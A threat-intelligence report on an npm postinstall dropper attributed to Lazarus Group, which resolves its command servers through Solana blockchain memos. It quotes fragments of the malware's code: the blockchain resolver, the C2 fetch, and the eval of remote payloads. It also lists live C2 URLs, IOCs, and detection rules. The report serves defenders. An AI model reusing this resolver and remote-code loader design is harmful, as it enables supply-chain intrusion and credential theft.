Back to reports
mediumStealer

Lazarus Group is Using the Solana Blockchain as a Dead-Drop C2 Channel -- and Nobody Noticed for 4 Months

InvestigatedMarch 16, 2026PublishedMarch 16, 2026
stealersocial-engineeringc2supply-chainexploitapt

Published: 2026-03-16 | Author: BGI | Investigation Date: 2026-03-16

TL;DR

A Node.js Stage-1 dropper attributed to Lazarus Group's TraderTraitor sub-cluster (UNC4899 / Jade Sleet / Slow Pisces) uses Solana blockchain transaction memos as a dead-drop resolver for C2 rotation. The operator posts base64-encoded C2 URLs as memos to wallet BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC, and the malware reads them via the public Solana RPC API -- no domain to sinkhole, no DNS to block, no infrastructure to seize. The campaign has been running since November 2025 across 7 rotating Vultr VPS nodes in France, all on AS20473, with 51 memo transactions posted to the dead-drop wallet over roughly four months. AES-encrypted Stage-2 payloads have their keys delivered via HTTP response headers. A kill-switch (process.exit(0)) was ACTIVE during our live probing, suggesting the operator knew they were being watched. Every C2 IP had zero detections in ThreatFox, MalwareBazaar, and VirusTotal at the time of analysis. This was a live, unburned DPRK operation targeting macOS-first Solana developers via malicious npm packages -- and the same wallet address has since been linked to the GlassWorm VS Code extension worm and the ForceMemo GitHub repository compromise campaign.


The Blockchain Dead-Drop

Here is the core innovation: instead of hardcoding a C2 domain or IP into the malware, the operator writes the current C2 address into a Solana blockchain transaction memo. The malware reads it at runtime. When the operator needs to rotate infrastructure, they post a new memo. The malware automatically picks up the change on next beacon.

This is not theoretical. The wallet BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC has 51 memo transactions dating back to November 27, 2025. Each one contains a JSON payload:

{"link": "aHR0cDovLzIxNy42OS4wLjE1OS9OVVRBcWE2dExBZTlodDgyNFBFemhRJTNEJTNE"}

The link value is base64 of a percent-encoded URL. Decoded:

http://217.69.0.159/NUTAqa6tLAe9ht824PEzhQ%3D%3D

The path component is a base64-encoded AES ciphertext used as a session token. The IP is the current C2 node. When the operator spins up a new VPS, they post a new memo. The malware fetches the latest one. Traditional IOC blocking is useless -- you would need to block the entire Solana RPC API.

The memo is posted via the standard Solana Memo Program (MemoSq4gqABAXKb96qnH8TysNcWxMyWCqXgDLGmfcHr), the same one every Solana dApp uses. There is no anomalous on-chain behavior to flag. The wallet balance is 6,481,670 lamports (~0.006 SOL). Low profile, high impact.

Why This Matters

Traditional dead-drop resolvers -- Pastebin, GitHub Gists, Telegram channels, Google Calendar events -- can be taken down with an abuse report. The Solana blockchain cannot. Memos are immutable. There is no abuse team to contact. There is no takedown mechanism. The data is replicated across every Solana validator node on the planet. The only defensive option is blocking RPC endpoints at the network level, which is a blunt instrument that breaks legitimate Solana development workflows.

This is the weaponization of blockchain immutability against defenders.


Kill Chain

[DELIVERY] Malicious npm package (postinstall script)
   |
   v
[STAGE 1: DROPPER] stage1_decrypted_wave1_48109c33cf45.js
   |
   +-- Sleep 120s (anti-sandbox)
   +-- Check ~/init.json (48h beacon frequency limit)
   +-- Poll Solana RPC for wallet BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC
   |     +-- getSignaturesForAddress (limit: 1000)
   |     +-- Find most recent tx with memo field
   |     +-- Parse JSON -> {"link":"<base64url>"}
   +-- Decode base64 -> C2 URL (http://<IP>/<base64_path>)
   +-- GET C2 URL with header "os: darwin/linux/win32"
   |     +-- Response: base64 payload body
   |     +-- Response header: ivbase64 (AES IV)
   |     +-- Response header: secretkey (AES key)
   +-- Kill-switch check: if response.length == 20 -> process.exit(0)
   +-- Platform dispatch:
         +-- macOS: eval(atob(payload)) -- direct execution
         +-- Win/Linux: vm.Script sandbox with AES context -> eval
                          |
                          v
                    [STAGE 2: ENCRYPTED PAYLOAD]
                    AES-CBC decrypt using header-delivered keys
                    -> credential stealer / RAT
                    (not recovered -- C2 was in kill-switch mode)

The kill chain is lean by design. Five function calls, no disk writes (except ~/init.json on macOS), no child processes, no network connections beyond Solana RPC and the C2 fetch. Everything runs inside the Node.js process that npm install already spawned.


Technical Analysis

The Sample

FieldValue
SHA25648109c33cf45749a7fdc2629a4c11d9afc59e5378a4a368e08b20f9dbfca7963
MD5b81d8031450264845cdf79851b6a4807
SHA15dfa031ccd4cb45f5338eeaad6416a54b15bf0f8
File TypeNode.js JavaScript (esbuild-bundled)
File Size3,867 bytes
First Seen2026-03-15 18:23:02 UTC
Bundle Markers__name, __defProp (esbuild output)
Deliverynpm postinstall hook

The file is a minified Node.js module -- almost certainly a postinstall script from a malicious npm package targeting Solana/crypto developers. The esbuild output markers (__name, __defProp helpers) are visible in the bundle. At 3,867 bytes it is deliberately small -- well under the threshold that would trigger size-based anomaly detection in registry scanners. Let's walk through what it does.

Anti-Analysis: 2-Minute Sleep

new Promise(resolve => setTimeout(resolve, 2 * 60 * 1000)).then(_ => {
  // all execution happens after 120 second delay
})

Most automated sandboxes timeout at 60-90 seconds. The 120-second sleep guarantees the malware never executes in standard analysis environments. This is the simplest, most effective anti-analysis gate in the playbook -- and it costs nothing operationally because npm install returns immediately while the postinstall script runs asynchronously.

Persistence: 48-Hour Beacon Limiter

The dropper writes ~/init.json containing {"date": <timestamp>}. On subsequent runs, it checks whether the last execution was within 48 hours and exits if so. This keeps beacon traffic to once every two days -- well below the noise floor for most SOC teams monitoring outbound connections.

+------------------------------------------------------+
|  ~/init.json                                         |
|  {"date": 1710518400000}                             |
|                                                      |
|  Written: macOS only                                 |
|  Checked: all platforms                              |
|  Interval: 48 hours between beacons                  |
|  Effect: max 15 beacons/month if machine runs daily  |
+------------------------------------------------------+

There is a bug in the frequency check logic: !check?.date should be check?.date, which means the guard only fires if date is undefined. The practical effect is that the check only matters on macOS (where the file is written). Windows/Linux paths skip the persistence entirely. This is either a bug or intentional -- macOS is the high-value target, so rate-limiting only those beacons makes operational sense.

The Dead-Drop Resolver

async function _getSignFAddress(publicKey, options = {}) {
  let endpoints = ["https://api.mainnet-beta.solana.com"];
  let response = await fetch(endpoint, {
    method: "POST",
    headers: {"Content-Type": "application/json"},
    body: JSON.stringify({
      jsonrpc: "2.0", id: 1,
      method: "getSignaturesForAddress",
      params: [publicKey.toString(), {limit: 1000}]
    })
  });
  return data.result;
}

The malware calls getSignaturesForAddress on the Solana mainnet RPC for wallet BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC. It iterates through the results looking for the most recent transaction with a memo field, extracts the JSON, and decodes the base64 link value to get the current C2 URL.

This is the part that makes this dropper different from every other npm supply chain implant. The C2 address is not in the code. It is on the blockchain.

Note the single hardcoded RPC endpoint: api.mainnet-beta.solana.com. This is Solana Labs' official public endpoint. Later variants of this same infrastructure (documented in the GlassWorm analysis by Koi Security) expanded this to 9 fallback RPC endpoints, making the resolver resilient to any single endpoint being blocked. The evolution from one to nine endpoints across campaign variants tells us the operator learned from operational experience.

OS Fingerprinting and Payload Delivery

let response = await fetch(c2_url, {
  headers: {os: os.platform()}  // "darwin", "linux", or "win32"
});
let evxhb = data;                    // base64 payload body
let kypglnkfb = header.get("ivbase64");  // AES IV
let secretKey = header.get("secretkey");  // AES key

The C2 receives the victim's OS type and serves platform-specific payloads. The AES decryption key and IV are delivered in HTTP response headers -- not in the payload itself, not in the malware binary. This is operationally smart: if someone captures the encrypted payload in transit without the headers, they cannot decrypt it. If someone replays a captured request, they get a different key pair. The keys are ephemeral, generated per-request on the server side.

Kill-Switch

if (evxhb.length == 20) {
  eval(atob(evxhb));  // evaluates "process.exit(0)"
  return;
}

When the C2 returns exactly 20 bytes -- the base64 encoding of process.exit(0) (cHJvY2Vzcy5leGl0KDAp) -- the malware terminates gracefully. During our live probing on March 15, the active C2 at 217.69.0.159 was returning this kill-switch response. The operator had placed the server in deactivation mode, possibly aware they were being watched, possibly rotating to new infrastructure.

The kill-switch is elegant: 20 bytes is too short to be a real payload, so the length check doubles as a format validator. And because it's process.exit(0) -- exit code zero, success -- it leaves no crash logs, no error traces, no forensic artifacts in the npm installation output.

Platform-Specific Execution

On macOS (the high-value target), the payload is decoded and eval()'d directly in the main Node.js process. No sandboxing, no isolation. Full access to the filesystem, environment variables, and any crypto wallet data accessible to the running user.

On Windows and Linux, execution happens inside a vm.Script sandbox with the AES key and IV injected into the VM context:

+------------------+     +-------------------+
|   macOS (darwin)  |     | Windows / Linux   |
+------------------+     +-------------------+
| eval(atob(data)) |     | vm.Script({       |
| Direct execution |     |   secretkey: key, |
| Full process ctx |     |   ivbase64: iv    |
+------------------+     | }).runInNewContext |
                          +-------------------+

The Stage-2 payload was not recovered because the C2 was in kill-switch mode at time of analysis. Based on TraderTraitor's extensively documented behavior, the macOS payload is almost certainly a credential stealer targeting crypto wallets (Ledger, Phantom, Exodus, MetaMask), browser cookies, SSH keys, and .env files containing API keys and private keys.

Obfuscated Strings

The dropper uses base64 encoding for string obfuscation -- lightweight but sufficient to evade grep-based static detection:

EncodedDecodedPurpose
aXZiYXNlNjQ=ivbase64HTTP header name for AES IV
c2VjcmV0a2V5secretkeyHTTP header name for AES key
cHJvY2Vzcy5leGl0KDApprocess.exit(0)Kill-switch payload (20 bytes)

Infrastructure & Attribution

C2 Rotation Timeline

All seven C2 nodes are Vultr VPS instances in France, AS20473. Same provider, same ASN, same Aubervilliers datacenter. The operator rotates every 2-4 weeks and occasionally runs two IPs simultaneously during transitions.

IPActive PeriodStatusNotes
217.69.11.602025-11-27OfflineCampaign launch
45.32.151.1572025-12-06 -- 2026-01-12OfflineLongest-lived node (37 days)
217.69.11.572026-01-22 -- 2026-02-09Offline
45.32.150.972026-02-09 -- 2026-02-14OfflineShortest-lived (5 days)
217.69.11.992026-02-25 -- 2026-03-10OfflineOPSEC failure: plaintext memo
45.76.44.2402026-03-13OfflineBrief overlap with 217.69.0.159
217.69.0.1592026-03-13 -- presentActive (kill-switch)Currently returning kill-switch

No TLS certificates on any C2 node. All HTTP, no HTTPS. The RDNS pattern is <IP>.vultrusercontent.com. Rate limiting is enforced at 30 requests per minute per client.

Infrastructure Map

                       SOLANA MAINNET
                    +------------------+
                    | Memo Program     |
                    | MemoSq4gqABAXKb  |
                    +--------+---------+
                             |
                    Wallet: BjVeAjPr...8o8SC
                    51 memo txns since Nov 2025
                             |
            +----------------+----------------+
            |                                 |
     [MALWARE READS]                   [OPERATOR WRITES]
     getSignaturesForAddress           new memo per C2 rotation
            |                                 |
            v                                 |
  +-------------------+                       |
  | Victim endpoint   |                       |
  | (npm postinstall) |                       |
  +--------+----------+                       |
           |                                  |
           | GET http://<C2>/<b64path>        |
           | Header: os: darwin               |
           v                                  |
  +----------------------------------------------+
  |          VULTR FRANCE (AS20473)               |
  |          Aubervilliers datacenter             |
  |                                               |
  |  :80    Encrypted payload delivery            |
  |  :5000  C2 backend management (leaked)        |
  |  :10000 DHT backup channel (leaked)           |
  |                                               |
  |  7 IPs rotated Nov 2025 - Mar 2026           |
  |  No TLS. Plain HTTP only.                     |
  +-----------------------------------------------+
           |
           | Response headers:
           |   ivbase64: <AES IV>
           |   secretkey: <AES key>
           | Body: base64(AES-CBC(stage2))
           v
  +-------------------+
  | Stage-2 payload   |
  | (not recovered)   |
  +-------------------+

The OPSEC Failure: Plaintext C2 Config on an Immutable Ledger

On February 25, 2026, the operator posted a memo that was not the usual base64-encoded link. Instead, it contained a plaintext JSON configuration:

{"c2server": "http://217.69.11.99:5000", "checkIp": "http://217.69.11.99", "dht_data": "217.69.11.99:10000"}

This exposed three things the operator never intended to reveal:

  1. Port 5000: A backend management interface for the C2 server. This is the operator's control plane -- separate from the port 80 payload delivery endpoint that victims connect to.

  2. Port 10000: A DHT (Distributed Hash Table) backup channel. This means even if all HTTP C2 nodes are taken down, the operator has a peer-to-peer fallback channel for infrastructure recovery.

  3. The full topology: Three distinct services per C2 node -- payload delivery, management, and resilience. This is not a script kiddie setup.

The memo is immutable. It will exist on the Solana blockchain until the chain itself ceases to exist. Every security researcher in the world can now see the operator's internal architecture with a single Solscan query.

Attribution: Lazarus / TraderTraitor (HIGH Confidence)

Five indicators converge on the DPRK-linked TraderTraitor sub-cluster:

#IndicatorConfidenceRationale
1Solana blockchain dead-drop C2HIGHFirst documented in TraderTraitor operations (2024-2025). Shared wallet with GlassWorm campaign. No other threat actor has adopted Solana memos for DDR.
2npm supply chain targetingHIGHTraderTraitor is responsible for dozens of malicious npm packages targeting crypto developers. The postinstall dropper pattern is their signature delivery mechanism (documented by GitHub Security, Phylum, Socket, Checkmarx).
3macOS-first targetingHIGHPersistence logic only writes ~/init.json on Darwin. Direct eval() for macOS vs. sandboxed vm.Script for others. Lazarus/TraderTraitor consistently prioritizes macOS in the blockchain/DeFi ecosystem.
4Vultr France infrastructureMEDIUMMultiple previous TraderTraitor samples linked to Vultr VPS in AS20473. The Aubervilliers datacenter is a recurring indicator. Single-provider concentration matches operational pattern.
5AES key delivery via HTTP headersHIGHHeader-based key delivery (ivbase64, secretkey) matches documented TraderTraitor Stage-1 dropper patterns. This specific naming convention has not been observed in other threat clusters.

This is the same group behind the $1.5B Bybit theft (February 2025), the JumpCloud compromise (July 2023), and dozens of fake-job social engineering campaigns targeting crypto developers. The FBI, CISA, and Treasury have published joint advisories on TraderTraitor since 2022 (AA22-108A).

Wider Campaign Context: GlassWorm and ForceMemo

The wallet address BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC is not unique to this npm dropper. The same dead-drop infrastructure has been identified in two other concurrent campaigns:

GlassWorm (October 2025 -- present): A self-propagating worm targeting VS Code and OpenVSX extensions. First documented by Koi Security and Truesec. GlassWorm uses invisible Unicode characters to hide malicious code in extensions, reads C2 addresses from the same Solana wallet's memo field, and deploys AES-256-CBC encrypted payloads with header-delivered keys. The February 2026 macOS pivot added AppleScript execution, LaunchAgent persistence, and targeting of 49 cryptocurrency wallet extensions. The GlassWorm variants expanded the RPC fallback list to 9 endpoints -- an operational improvement over this npm dropper's single endpoint.

ForceMemo (March 8-13, 2026): Documented by StepSecurity, this campaign compromised 240+ GitHub Python repositories via account takeover and force-push. The injected code reads C2 instructions from the same Solana wallet, decodes base64 link fields from memos, and connects to the resulting URLs. Same wallet, same memo format, same JSON schema.

Three distinct delivery vectors -- npm packages, VS Code extensions, and GitHub repository compromise -- all converging on a single Solana wallet for C2 resolution. This is either a shared-infrastructure arrangement between cooperating threat actors or (more likely) a single operational team running parallel campaigns through different supply chain attack surfaces.

The GlassWorm campaign later rotated to a new wallet address (6YGcuyFRJKZtcaYCCFba9fScNUvPkGXodXE1mJiSzqDJ) and new C2 IPs including 45.32.151.157 and 70.34.242.255 -- notably, the first of those IPs appears in our own C2 rotation timeline from December 2025 to January 2026. The infrastructure overlap is direct.


C2 URL Samples (Decoded from Blockchain Memos)

Timestamp (UTC)Decoded C2 URLIP
2026-03-15 16:46http://217.69.0.159/NUTAqa6tLAe9ht824PEzhQ==217.69.0.159
2026-03-13 12:57http://217.69.0.159/dq1IMEteQ4AbO3daeYGXZw==217.69.0.159
2026-03-13 09:25http://45.76.44.240/Xhwv9DF6OUXXS+phJ+eMgA==45.76.44.240
2026-03-10 12:36http://217.69.11.99/q6AUyyAAatxzpCw2im8XFg==217.69.11.99
2026-02-25 21:31http://217.69.11.99:5000 (plaintext leak)217.69.11.99
2026-02-14 16:05http://45.32.150.97/vKSWcUJjPjJKzMSMI5OECA==45.32.150.97
2026-01-22 14:26http://217.69.11.57/wxSFx1KWOe5O5Lge8ckMKg==217.69.11.57
2025-12-17 15:36http://45.32.151.157/i6+IgUpodpQRiO4SgmKkCw==45.32.151.157
2025-11-27 12:03http://217.69.11.60/uVK7ZJefmiIoJkIP6lxWXw==217.69.11.60

The base64 path components are unique per memo -- likely AES-encrypted session identifiers that the C2 uses to track which memo version the victim is responding to. This allows the operator to measure propagation speed of C2 rotations across the infected fleet.


IOCs

File Hashes

TypeHash
SHA25648109c33cf45749a7fdc2629a4c11d9afc59e5378a4a368e08b20f9dbfca7963
MD5b81d8031450264845cdf79851b6a4807
SHA15dfa031ccd4cb45f5338eeaad6416a54b15bf0f8

Network -- C2 IPs

IPASNFirst SeenLast SeenStatus
217.69.0.159AS20473 (Vultr)2026-03-132026-03-15Active (kill-switch)
45.76.44.240AS20473 (Vultr)2026-03-132026-03-13Offline
217.69.11.99AS20473 (Vultr)2026-02-252026-03-10Offline
45.32.150.97AS20473 (Vultr)2026-02-092026-02-14Offline
217.69.11.57AS20473 (Vultr)2026-01-222026-02-09Offline
45.32.151.157AS20473 (Vultr)2025-12-062026-01-12Offline
217.69.11.60AS20473 (Vultr)2025-11-272025-11-27Offline

C2 Ports

PortProtocolRole
80HTTPEncrypted payload delivery (victim-facing)
5000HTTPC2 backend management (operator-facing)
10000UDP/TCPDHT backup C2 channel (resilience layer)

Blockchain Indicators

IndicatorValue
Dead-drop walletBjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC
Memo ProgramMemoSq4gqABAXKb96qnH8TysNcWxMyWCqXgDLGmfcHr
RPC endpointhttps://api.mainnet-beta.solana.com
Total memos51 transactions
Campaign start2025-11-27
Wallet balance6,481,670 lamports (~0.006 SOL)
Related wallet6YGcuyFRJKZtcaYCCFba9fScNUvPkGXodXE1mJiSzqDJ (GlassWorm rotation)

Filesystem

PathOSPurpose
~/init.jsonmacOSBeacon frequency limiter ({"date": <timestamp>})

HTTP Indicators

IndicatorTypeValue
AES IV headerResponse headerivbase64
AES key headerResponse headersecretkey
OS fingerprintRequest headeros: darwin|linux|win32
Rate limitResponse headerx-ratelimit-limit: 30
Kill-switch bodyBase64 string (20 bytes)cHJvY2Vzcy5leGl0KDAp
C2 URL path patternRegex^/[A-Za-z0-9+/]{20,28}={0,2}$

SSH Fingerprints (C2 Nodes)

IPFingerprint
217.69.11.99ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbml...
45.32.150.97ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPuOZ90H2y+9PbIExrcXF7B0+EHIaOCLMBYo5mXl25Txf8MIaiVcnfs8JU6BPibsq4ujJO

MITRE ATT&CK

IDTechniqueContext
T1195.001Supply Chain Compromise: Compromise Software Supply ChainMalicious npm package with postinstall dropper
T1059.007Command and Scripting Interpreter: JavaScriptEntire malware is Node.js; Stage-2 via eval()
T1102.001Web Service: Dead Drop ResolverSolana blockchain memos as C2 address resolver
T1027Obfuscated Files or InformationBase64 encoding of URLs, header names, and payload
T1573.001Encrypted Channel: Symmetric CryptographyAES-CBC encryption of Stage-2; key/IV via HTTP headers
T1497.003Virtualization/Sandbox Evasion: Time Based Evasion120-second sleep before any execution
T1082System Information Discoveryos.platform() fingerprinting sent to C2
T1036MasqueradingPoses as legitimate npm dependency
T1571Non-Standard PortC2 backend on 5000, DHT on 10000
T1070.009Indicator Removal: Clear Persistenceinit.json timestamp prevents re-execution within 48h
T1622Debugger Evasionvm.Script isolates payload execution context
T1041Exfiltration Over C2 ChannelStage-2 data theft via HTTP C2
T1583.003Acquire Infrastructure: Virtual Private Server7 Vultr VPS nodes provisioned over 4 months
T1008Fallback ChannelsDHT backup on port 10000 for C2 resilience

Detection Opportunities

Endpoint Detection

Hunt for ~/init.json on macOS endpoints. Any machine with this file containing {"date": <timestamp>} in the user home directory may be compromised. This is a low-noise, high-fidelity indicator. Roll this into your EDR queries immediately.

# macOS endpoint sweep
find /Users/*/init.json -maxdepth 1 2>/dev/null | while read f; do
  echo "[ALERT] Suspicious init.json: $f"
  cat "$f"
done

Check npm postinstall history. Review ~/.npm/_logs/ for any packages that executed postinstall scripts with network activity to Solana RPC endpoints.

Network Detection

Monitor Solana RPC calls from corporate networks. Unless your developers are actively building on Solana, getSignaturesForAddress calls to api.mainnet-beta.solana.com from non-development endpoints are suspicious. Alert on the specific wallet address in POST body content.

Suricata/Snort rule for C2 URL pattern. The C2 paths follow a distinctive format: ^/[A-Za-z0-9+/]{20,28}={0,2}$. This base64-padded path pattern over plain HTTP to Vultr IP ranges is highly anomalous.

alert http $HOME_NET any -> $EXTERNAL_NET any (
  msg:"BGI - TraderTraitor Solana DDR C2 URL Pattern";
  flow:established,to_server;
  content:"GET"; http_method;
  pcre:"/^\/[A-Za-z0-9+\/]{20,28}={0,2}$/U";
  content:"os:"; http_header;
  classtype:trojan-activity;
  sid:2026031601; rev:1;
)

Block or alert on custom HTTP headers. The combination of request header os: with response headers ivbase64 and secretkey is distinctive and not generated by any legitimate application.

Supply Chain Detection

npm audit for postinstall scripts calling Solana RPC. The esbuild bundling style with __name/__defProp helpers is distinctive. Any postinstall script making getSignaturesForAddress calls should be treated as malicious.

Monitor for the wallet address in code. Add BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC and 6YGcuyFRJKZtcaYCCFba9fScNUvPkGXodXE1mJiSzqDJ to your SAST/dependency scanning blocklists.

Immediate Action

Report to Vultr. All seven IPs, especially 217.69.0.159 (still active). Abuse contact: abuse@vultr.com, reference AS20473. A single provider takedown request could disrupt the entire campaign -- the operator's failure to diversify providers is an exploitable weakness.

Monitor the wallet on Solscan. New memos to BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC will reveal the next C2 rotation in real-time. This is free, real-time threat intelligence from an immutable source. Set up a Solscan alert or poll the RPC endpoint programmatically.


References

  • CISA Advisory AA22-108A: TraderTraitor -- North Korean State-Sponsored APT Targets Blockchain Companies
  • Koi Security: GlassWorm -- First Self-Propagating Worm Using Invisible Code (October 2025)
  • Truesec: GlassWorm Self-Propagating VSCode Extension Worm
  • StepSecurity: ForceMemo -- Hundreds of GitHub Python Repos Compromised via Account Takeover (March 2026)
  • Red Asgard: Hunting Lazarus Part II -- When the Dead Drop Moved to the Blockchain
  • Socket.dev: Lazarus Strikes npm Again with New Wave of Malicious Packages
  • Wiz: TraderTraitor Deep Dive
  • Solana Memo Program: MemoSq4gqABAXKb96qnH8TysNcWxMyWCqXgDLGmfcHr

Investigation source: FGBOT automated collection. Sample hash 48109c33cf45. Original reporter: tipo_deincognito. Analysis by BGI.

Last updated: 2026-03-16. IOCs are being shared with CISA, Vultr abuse, and npm security.

Share